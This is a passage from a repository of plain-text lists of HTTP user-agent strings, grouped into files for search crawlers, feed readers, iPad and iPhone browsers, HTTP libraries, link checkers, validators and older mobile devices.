Europe/en) http://yacy.net/bot.html 411 | yacybot (i386 Linux 2.6.26-2-686; java 1.6.0_0; Europe/en) http://yacy.net/bot.html 412 | yacybot (i386 Linux 2.6.24-28-generic; java 1.6.0_20; Europe/en) http://yacy.net/bot.html 413 | yacybot (i386 Linux 2.6.24-24-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html 414 | yacybot (i386 Linux 2.6.24-23-generic; java 1.6.0_16; Europe/en) http://yacy.net/bot.html 415 | yacybot (i386 Linux 2.6.23; java 1.6.0_17; Europe/en) http://yacy.net/bot.html 416 | yacybot (i386 Linux 2.6.23; java 1.6.0_04; Europe/en) http://yacy.net/bot.html 417 | yacybot (i386 Linux 2.6.22-14-generic; java 1.6.0_03; Europe/de) http://yacy.net/bot.html 418 | yacybot (amd64 Windows 7 6.1; java 1.6.0_17; Europe/de) http://yacy.net/bot.html 419 | yacybot (amd64 Linux 2.6.28-18-generic; java 1.6.0_0; Europe/en) http://yacy.net/bot.html 420 | yacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html 421 | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) 422 | Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html) 423 | YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/) 424 | YahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/) 425 | Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) 426 | Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots) 427 | Yasaklibot/v1.2 (http://www.Yasakli.com/bot.php) 428 | Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/) 429 | Yeti/1.0 (+http://help.naver.com/robots/) 430 | Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; ) 431 | yoogliFetchAgent/0.1 432 | Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ) 433 | Zao/0.1 (http://www.kototoi.org/zao/) 434 | Zao/0.1 (http://www.kototoi.org/zao/) 435 | Mozilla/4.0 (compatible; Zealbot 1.0) 436 | zspider/0.9-dev http://feedback.redkolibri.com/ 437 | Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) 438 | Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) 439 | Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com) 440 | Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) 441 | Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com) 442 | Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com) 443 | -------------------------------------------------------------------------------- /useragents/feedreaders.txt: -------------------------------------------------------------------------------- 1 | Bloglines/3.1 (http://www.bloglines.com) 2 | Bloglines/3.0-rho (http://www.bloglines.com; 3 subscribers) 3 | everyfeed-spider/2.0 (http://www.everyfeed.com) 4 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8639390370582375869) 5 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=375807642710480585) 6 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=1992026586303346733) 7 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13645798864011762265) 8 | FeedFetcher-Google; (+http://www.google.com/feedfetcher.html) 9 | GreatNews/1.0 10 | Gregarius/0.5.2 (+http://devlog.gregarius.net/docs/ua) 11 | MagpieRSS/0.7 ( http://magpierss.sf.net) 12 | NFReader/1.4.1.0 (http://www.gaijin.at/) 13 | UniversalFeedParser/3.3 +http://feedparser.org/ 14 | -------------------------------------------------------------------------------- /useragents/ipad.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 2 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 3 | Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 4 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 5 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 6 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25 7 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 8 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B141 9 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 10 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 11 | Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 12 | Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 13 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A407 Safari/8536.25 14 | Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/8L1 Safari/6533.18.5 15 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-gb) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25 16 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B141 AIRMobileSecureBrowser/1.0 17 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 18 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10A523 19 | Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 20 | Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 21 | -------------------------------------------------------------------------------- /useragents/iphone.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 2 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B143 Safari/8536.25 3 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B142 Safari/8536.25 4 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 5 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5 6 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7 7 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B144 Safari/8536.25 8 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 9 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A551 Safari/8536.25 10 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 11 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B143 Safari/8536.25 12 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 13 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 14 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 15 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 16 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en) AppleWebKit/528.18 (KHTML, like Gecko) Version/5.1 Mobile/7A341 Safari/528.16 17 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mercury/7.2 Mobile/10A523 Safari/8536.25 18 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3 19 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 20 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190 21 | -------------------------------------------------------------------------------- /useragents/libraries.txt: -------------------------------------------------------------------------------- 1 | BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/) 2 | curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled) 3 | curl/7.8 (i386-redhat-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6b) (ipv6 enabled) 4 | curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled) 5 | curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b) 6 | curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5 7 | curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c zlib/1.2.5 8 | curl/7.21.2 (i386-pc-win32) libcurl/7.21.2 OpenSSL/0.9.8o zlib/1.2.5 9 | curl/7.21.1 (i686-pc-linux-gnu) libcurl/7.21.1 OpenSSL/1.0.0a zlib/1.2.5 10 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.5 11 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 12 | curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.5 13 | curl/7.21.0 (x86_64-apple-darwin10.2.0) libcurl/7.21.0 OpenSSL/1.0.0a zlib/1.2.5 libidn/1.19 14 | curl/7.21.0 (i686-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 15 | curl/7.21.0 (i486-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.6 16 | curl/7.20.0 (i686-pc-linux-gnu) libcurl/7.20.0 OpenSSL/0.9.8n zlib/1.2.4 17 | curl/7.20.0 (i386-apple-darwin9.8.0) libcurl/7.20.0 OpenSSL/0.9.8m zlib/1.2.3 libidn/1.16 18 | curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3 19 | curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 20 | curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.5.0 zlib/1.2.3 libidn/1.9 libssh2/1.2.2 21 | curl/7.19.7 (i386-apple-darwin9.8.0) libcurl/7.19.7 zlib/1.2.3 22 | curl/7.19.6 (i686-pc-cygwin) libcurl/7.19.6 OpenSSL/0.9.8n zlib/1.2.3 libidn/1.18 libssh2/1.2 23 | curl/7.19.6 (i386-redhat-linux-gnu) libcurl/7.19.6 NSS/3.12.4.5 zlib/1.2.3 libidn/1.9 libssh2/1.2 24 | curl/7.19.6 (i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3 25 | curl/7.19.5 (i586-pc-mingw32msvc) libcurl/7.19.5 zlib/1.2.3 26 | curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15 27 | curl/7.19.4 (universal-apple-darwin10.0) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 28 | curl/7.19.4 (i686-pc-cygwin) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/1.9 libssh2/1.0 29 | curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3 libidn/1.11 libssh2/0.18 30 | curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8c zlib/1.2.3 31 | curl/7.19.0 (x86_64-suse-linux-gnu) libcurl/7.19.0 OpenSSL/0.9.8h zlib/1.2.3 libidn/1.10 32 | curl/7.18.2 (x86_64-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18 33 | curl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8 34 | curl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1 35 | curl/7.17.1 (x86_64-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8g zlib/1.2.3 36 | curl/7.16.4 (i486-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8e zlib/1.2.3.3 libidn/1.0 37 | curl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3 38 | curl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8 39 | curl/7.16.1 (i386-pc-win32) libcurl/7.16.1 OpenSSL/0.9.8h zlib/1.2.3 40 | curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5 41 | curl/7.15.4 (i686-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.3 42 | curl/7.15.3 (sparc64--netbsd) libcurl/7.15.3 OpenSSL/0.9.7d zlib/1.1.4 libidn/0.6.3 43 | curl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.0 44 | curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18 45 | curl/7.15.0 (i386-portbld-freebsd5.4) libcurl/7.15.0 OpenSSL/0.9.7e zlib/1.2.1 46 | curl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1 47 | curl/7.13.2 (i386-pc-linux-gnu) libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13 48 | cURL: curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2 49 | curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3 50 | curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6 51 | curl/7.11.1 (i686-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2 52 | curl/7.11.1 (i386-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2 53 | curl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4 54 | Java/1.6.0_26 55 | Java/1.6.0_13 56 | Java/1.6.0_12 57 | Java/1.6.0_11 58 | Java/1.6.0_04 59 | Java/1.6.0_03 60 | Java/1.6.0_02 61 | Java/1.6.0-beta 62 | Java/1.5.0_11 63 | Java/1.5.0_08 64 | Java/1.5.0_06 65 | Java/1.5.0_05 66 | Java/1.5.0_04 67 | Java/1.5.0_03 68 | Java/1.5.0_02 69 | Java/1.5.0_01 70 | Java/1.5.0 71 | Java/1.4.2_11 72 | Java/1.4.2_10 73 | Java/1.4.2_09 74 | Java/1.4.2_08 75 | Java/1.4.2_07 76 | Java/1.4.2_05 77 | Java/1.4.2_04 78 | Java1.4.2_03 79 | Java/1.4.2_03 80 | Java/1.4.2_01 81 | Java/1.4.2 82 | Java/1.4.1_04 83 | Java/1.4.1_03 84 | Java/1.4.1_02 85 | Java/1.4.1_01a 86 | Java/1.4.1_01 87 | Java/1.4.1-p3 88 | Java/1.4.1 89 | Java1.4.0_03 90 | Java1.4.0_02 91 | Java1.4.0_01 92 | Java1.4.0 93 | Java1.3.1_06 94 | Java1.3.1_04 95 | Java1.3.1 96 | Java1.3.0 97 | Java1.2.2-JDeveloper 98 | Java1.2.2 99 | Java1.2.1 100 | libwww-perl/5.821 101 | libwww-perl/5.820 102 | libwww-perl/5.816 103 | libwww-perl/5.814 104 | libwww-perl/5.808 105 | libwww-perl/5.805 106 | libwww-perl/5.803 107 | libwww-perl/5.800 (+http://passoire.afraid.org/mylittlewebsurvey/index.html) 108 | libwww-perl/5.800 109 | libwww-perl/5.76 110 | libwww-perl/5.75 111 | libwww-perl/5.69 112 | libwww-perl/5.65 113 | libwww-perl/5.65 114 | libwww-perl/5.64 115 | libwww-perl/5.63 116 | libwww-perl/5.53 117 | libwww-perl/5.50 118 | libwww-perl/5.48 119 | libwww-perl/5.36 120 | Microsoft URL Control - 6.01.9782 121 | Peach/1.01 (Ubuntu 8.04 LTS; U; en) 122 | PHP/5.2.9 123 | PHP/5.2.8 124 | PHP/5.2.14 125 | PHP/5.2.11 126 | PHP/5.2.10 127 | pxyscand/2.1 128 | Python-urllib/3.1 129 | Python-urllib/3.0 130 | Python-urllib/2.7 131 | Python-urllib/2.6 132 | Python-urllib/2.5 133 | Python-urllib/2.4 134 | Python-urllib/2.1 135 | Python-urllib/2.0a1 136 | Python-urllib/1.17 137 | Python-urllib/1.16 138 | Python-urllib/1.15 139 | -------------------------------------------------------------------------------- /useragents/linkcheckers.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html) 2 | Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com) 3 | Link Valet Online 1.1 4 | Link Validity Check From: http://www.w3dir.com/cgi-bin (Using: Hot Links SQL by Mrcgiguy.com) 5 | LinkExaminer/1.01 (Windows) 6 | Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html) 7 | Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html) 8 | Mojoo Robot (http://www.mojoo.com/) 9 | Notifixious/LinkChecker (http://notifixio.us) 10 | online link validator (http://www.dead-links.com/) 11 | Ploetz + Zeller (http://www.ploetz-zeller.de) Link Validator v1.0 (support@p-und-z.de) for ARIS Business Architect 12 | InfoWizards Reciprocal Link System PRO - (http://www.infowizards.com) 13 | REL Link Checker Lite 1.0 14 | SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/) 15 | SiteBar/3.3.5 (Bookmark Server; http://sitebar.org/) 16 | Vivante Link Checker (http://www.vivante.com) 17 | W3C-checklink/4.5 [4.160] libwww-perl/5.823 18 | W3C-checklink/4.5 [4.154] libwww-perl/5.823 19 | W3C-checklink/4.3 [4.42] libwww-perl/5.820 20 | W3C-checklink/4.3 [4.42] libwww-perl/5.808 21 | W3C-checklink/4.3 [4.42] libwww-perl/5.805 22 | W3C-checklink/4.2.1 [4.21] libwww-perl/5.803 23 | W3C-checklink/4.2 [4.20] libwww-perl/5.803 24 | W3C-checklink/3.6.2.3 libwww-perl/5.64 25 | W3C-checklink/2.90 libwww-perl/5.64 26 | Xenu Link Sleuth 1.2i 27 | Xenu Link Sleuth 1.2h 28 | Xenu Link Sleuth 1.2g 29 | Xenu Link Sleuth 1.2f 30 | Xenu Link Sleuth 1.2e 31 | Xenu Link Sleuth 1.2d 32 | Xenu Link Sleuth 1.2c 33 | Xenu Link Sleuth 1.2b 34 | Xenu Link Sleuth/1.3.7 35 | -------------------------------------------------------------------------------- /useragents/others.txt: -------------------------------------------------------------------------------- 1 | !Susie (http://www.sync2it.com/susie) 2 | amaya/11.3.1 libwww/5.4.1 3 | amaya/11.2 libwww/5.4.0 4 | amaya/11.1 libwww/5.4.0 5 | amaya/10.1 libwww/5.4.0 6 | amaya/10 libwww/5.4.0 7 | amaya/9.55 libwww/5.4.0 8 | amaya/9.54 libwww/5.4.0 9 | amaya/9.52 libwww/5.4.0 10 | amaya/9.51 libwww/5.4.0 11 | amaya/8.8.5 libwww/5.4.0 12 | amaya/11.2 amaya/5.4.0 13 | amaya/11.1 amaya/5.4.0 14 | Cocoal.icio.us/1.0 (v43) (Mac OS X; http://www.scifihifi.com/cocoalicious) 15 | Cocoal.icio.us/1.0 (v40) (Mac OS X; http://www.scifihifi.com/cocoalicious) 16 | Cocoal.icio.us/1.0 (v38) (Mac OS X; http://www.scifihifi.com/cocoalicious) 17 | DomainsDB.net MetaCrawler v.0.9.7c (http://domainsdb.net/) 18 | GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/) 19 | GSiteCrawler/v1.12 rev. 260 (http://gsitecrawler.com/) 20 | GSiteCrawler/v1.06 rev. 251 (http://gsitecrawler.com/) 21 | iTunes/9.1.1 22 | iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca) 23 | iTunes/9.0.3 24 | iTunes/9.0.2 (Windows; N) 25 | itunes/9.0.2 (Macintosh; Intel Mac OS X 10.4.11) AppleWebKit/531.21.8 26 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) AppleWebKit/531.9 27 | iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) 28 | iTunes/9.0 29 | iTunes/8.2 (Macintosh; U; PPC Mac OS X 10_5_6) 30 | iTunes/8.1.1 (Windows; U) 31 | iTunes/8.1.1 (Windows; N) 32 | iTunes/8.1 33 | iTunes/8.0 34 | iTunes/7.6.2.9 35 | iTunes/7.5 (Macintosh; N; PPC) 36 | iTunes/7.4.1 37 | iTunes/7.1.1 (Macintosh; N; PPC) 38 | iTunes/7.0.1 (Windows; N) 39 | iTunes/7.0 (Macintosh; U; PPC Mac OS X 10.4.7) 40 | iTunes/4.8 (Macintosh; U; PPC Mac OS X 10.4.1) 41 | iTunes/4.7 (Macintosh; U; PPC Mac OS X 10.2) 42 | iTunes/4.7 (Macintosh; N; PPC) 43 | iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2) 44 | iTunes/4.0 (Macintosh; U; PPC Mac OS X 10.2) 45 | lftp/4.3.8 46 | lftp/4.3.5 47 | MetaURI API/2.0 metauri.com 48 | Nitro PDF Download 49 | Snoopy v1.2 50 | URD-MAGPIE/0.73 (Cached) 51 | Mozilla/4.0 (compatible; WebCapture 3.0; Windows) 52 | Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh) 53 | Mozilla/3.0 (compatible; WebCapture 2.0; Windows) 54 | Mozilla/3.0 (compatible; WebCapture 1.0; Windows) 55 | Windows-Media-Player/11.0.5721.5145 56 | Windows-Media-Player/10.00.00.xxxx 57 | Windows-Media-Player/10.00.00.4036 58 | Windows-Media-Player/10.00.00.3646 59 | Windows-Media-Player/9.00.00.4503 60 | Windows-Media-Player/9.00.00.3250 61 | -------------------------------------------------------------------------------- /useragents/validators.txt: -------------------------------------------------------------------------------- 1 | CSE HTML Validator Lite Online (http://online.htmlvalidator.com/php/onlinevallite.php) 2 | CSSCheck/1.2.2 3 | Cynthia 1.0 4 | HTMLParser/1.6 5 | P3P Validator 6 | Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 7 | W3C_Validator/1.654 8 | W3C_Validator/1.606 9 | W3C_Validator/1.591 10 | W3C_Validator/1.575 11 | W3C_Validator/1.555 12 | W3C_Validator/1.432.2.5 13 | W3C_Validator/1.432.2.22 14 | W3C_Validator/1.432.2.19 15 | W3C_Validator/1.432.2.10 16 | W3C_Validator/1.305.2.12 libwww-perl/5.64 17 | WDG_Validator/1.6.2 18 | -------------------------------------------------------------------------------- /useragents/zytrax-browserid.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Danger hiptop 3.4; U; AvantGo 3.2) 2 | Mozilla/3.0 (compatible; AvantGo 3.2) 3 | Mozilla/5.0 (compatible; AvantGo 3.2; ProxiNet; Danger hiptop 1.0) 4 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3 5 | DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0) 6 | DoCoMo/2.0 SH901iC(c100;TB;W24H12) 7 | DoCoMo/1.0/N503is/c10 8 | KDDI-KC31 UP.Browser/6.2.0.5 (GUI) MMP/2.0 9 | UP.Browser/3.04-TS14 UP.Link/3.4.4 10 | Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1 11 | J-PHONE/5.0/V801SA/SN123456789012345 SA/0001JP Profile/MIDP-1.0 12 | Mozilla/3.0(DDIPOCKET;JRC/AH-J3001V,AH-J3002V/1.0/0100/c50)CNF/2.0 13 | PDXGW/1.0 (TX=8;TY=6;GX=96;GY=64;C=G2;G=B2;GI=0) 14 | ASTEL/1.0/J-0511.00/c10/smel 15 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 16 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; HTC Desire HD A9191 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 17 | Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1 18 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 19 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; PPC; 240x320) 20 | Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020 21 | Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016 22 | OPWV-SDK UP.Browser/7.0.2.3.119 (GUI) MMP/2.0 Push/PO 23 | UP.Browser/6.1.0.1.140 (Google CHTML Proxy/1.0) 24 | Mozilla/4.0 (compatible; MSIE 5.0; PalmOS) PLink 2.56b 25 | Mozilla/5.0 (PDA; NF35WMPRO/1.0; like Gecko) NetFront/3.5 26 | Mozilla/4.08 (Windows; Mobile Content Viewer/1.0) NetFront/3.2 27 | Mozilla/4.0 (PS2; PlayStation BB Navigator 1.0) NetFront/3.0 28 | 